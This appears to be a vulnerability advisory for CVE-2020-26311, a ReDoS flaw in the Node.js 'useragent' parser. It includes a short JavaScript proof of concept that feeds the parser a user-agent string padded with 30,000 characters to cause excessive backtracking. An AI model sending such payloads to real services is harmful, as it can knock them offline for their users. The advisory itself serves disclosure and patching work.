CVE-2020-26311

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

async function exploit() {
   const useragent = require(\"useragent\");
   // Create a malicious user-agent that leads to excessive backtracking
   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';
   // Parse the malicious user-agent
   const agent = useragent.parse(maliciousUserAgent);
   // Call the toString method to trigger the vulnerability
   const result = await agent.device.toString();
   console.log(result);
}
await exploit();